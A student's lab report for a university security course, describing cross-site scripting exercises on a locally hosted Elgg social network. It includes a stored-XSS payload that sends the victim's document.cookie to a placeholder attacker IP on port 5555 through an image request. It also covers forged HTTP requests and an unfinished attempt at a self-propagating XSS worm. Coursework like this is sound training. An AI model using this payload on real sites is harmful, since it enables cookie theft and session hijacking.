Talal Jawaid

12/6/2019

CSC 154

Lab 6

Professor Jun Dai

1. First we must ensure that firefox, apache, and Elgg are installed. We understand that the first two are installed from previous labs.
2. Start apache server using “sudo service apache2 start”
3. Elgg application has been prebuilt in this lab and is hosted locally even though the URL seems to point to the internet. Hosts file has been modified to allow this.
4. A screenshot of a cell phone

   Description automatically generated
5. We want to embed javascript code that will open alert modal in our Elgg profile
6. A screenshot of a computer

   Description automatically generated
7. <script>document.write(’<img src=http://attacker\_IP\_address:5555?c=’
8. + escape(document.cookie) + ’ >’);
9. </script>
10. The above javascript code will run calling an image from an attacker’s IP
11. The LiveHTTPHeaders extension will allow us to see HTTP request messages from the browser. It seems to function the save as Chromium Dev tools
12. A screenshot of a cell phone

    Description automatically generated
13. The goal is to inspect the HTTP request made and craft a java program to create a similar request that would seem like it was made legitimately.
14. A screenshot of a social media post

    Description automatically generated
15. A screenshot of a cell phone

    Description automatically generated
16. We want to write a XSS worm

However, the javascript code provided is incomplete and the Ajax code provided seems to not run. It seems based off documentation that some functions have been deprecated and are no longer functional.

Based off my understanding of the lab and work experience, I attempted to write Typescript code that followed the skeleton, but was unable to understand how to write a self propagating worm. I tried to use the provided resources but some of the links were dead.

A screenshot of a social media post

Description automatically generated